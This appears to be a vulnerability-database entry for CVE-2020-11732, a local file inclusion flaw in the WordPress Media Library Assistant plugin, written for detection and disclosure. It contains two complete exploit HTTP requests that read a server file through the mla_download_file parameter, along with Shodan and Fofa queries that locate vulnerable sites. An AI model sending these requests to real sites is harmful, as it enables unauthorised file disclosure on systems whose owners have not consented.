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CVE-2020-11732: Media Library Assistant < 2.82 - Unauthenticated Limited Local File Inclusion

TitleMedia Library Assistant < 2.82 - Unauthenticated Limited Local File Inclusion
AuthorSourabh-Sahu
SeverityHigh
ImpactAttackers can include arbitrary local files, potentially leading to information disclosure or code execution.
RemediationUpdate to version 2.82 or later.
CVSS Score7.5
EPSS Score0.3478
CVE IDCVE-2020-11732
Shodan Queryhttp.html:"wp-content/plugins/media-library-assistant"
Fofa Querybody="wp-content/plugins/media-library-assistant"
Tags wpscan cve cve2020 wordpress wp wp-plugin media-library-assistant unauth vkev

🔍 Vulnerability Description

Media Library Assistant plugin for WordPress before 2.82 contains a local file inclusion caused by unsanitized mla_gallery link parameter, letting attackers include arbitrary local files, exploit requires access to the vulnerable link.

🌐 HTTP Request

GET /wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=/var/www/html/wordpress/wp-content/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=/var/www/html/wp-content/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11732.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-11732.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A